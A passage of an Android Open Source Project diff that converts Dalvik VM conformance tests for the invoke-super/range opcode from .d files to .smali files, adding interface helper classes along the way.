+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+       const v7, 0    
+       invoke-super/range {v7}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.d
deleted file mode 100644
index 7ea46f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_20.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
-.limit regs 5
-
-       invoke-super/range {v4}, dot/junit/opcodes/invoke_super_range/TestStubs/TestStubP()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali
new file mode 100644
index 0000000..012dd41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
+.registers 5
+
+       invoke-super/range {v4}, Ldot/junit/opcodes/invoke_super_range/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.d
deleted file mode 100644
index efe22e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_22.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_22
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_super_range/d/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_super_range/d/TPlain/<init>()V
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/TSuper/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali
new file mode 100644
index 0000000..678ac82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super_range/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super_range/d/TPlain;-><init>()V
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.d
deleted file mode 100644
index 5877042..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_23.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_23
-.super dot/junit/opcodes/invoke_super_range/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_super_range/d/TSuper
-       invoke-direct {v2}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/TSuper2/test()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali
new file mode 100644
index 0000000..961cde9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_23.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..37ee720
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..c75bb2b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/T_invoke_super_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/T_invoke_super_range_24.smali
new file mode 100644
index 0000000..200df6f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/T_invoke_super_range_24.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24;
+.super Ldot/junit/opcodes/invoke_super_range/d/TTestInterfaceImpl;
+.source "T_invoke_super_range_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_super_range/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.d
deleted file mode 100644
index 1a9d17a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_25.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_25
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 4
-
-       new-instance v3, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25
-       invoke-super/range {v3}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25/toInt()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali
new file mode 100644
index 0000000..95d498e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_25.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 4
+
+       new-instance v3, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;
+       invoke-super/range {v3}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;->toInt()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault.smali
new file mode 100644
index 0000000..944f811
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..3d59d7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/T_invoke_super_range_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/T_invoke_super_range_26.smali
new file mode 100644
index 0000000..d0da30c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/T_invoke_super_range_26.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26;
+.super Ljava/lang/Object;
+.source "T_invoke_super_range_26.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;->testDefault()V
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault.smali
new file mode 100644
index 0000000..944f811
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..3d59d7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..40f8f65
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/T_invoke_super_range_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/T_invoke_super_range_27.smali
new file mode 100644
index 0000000..07b65ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/T_invoke_super_range_27.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27;
+.super Ljava/lang/Object;
+.source "T_invoke_super_range_27.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/ITestNonDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestConflict.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestConflict.smali
new file mode 100644
index 0000000..b9f5fc1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestConflict.smali
@@ -0,0 +1,21 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestConflict;
+.super Ljava/lang/Object;
+.source "ITestConflict.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault.smali
new file mode 100644
index 0000000..944f811
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
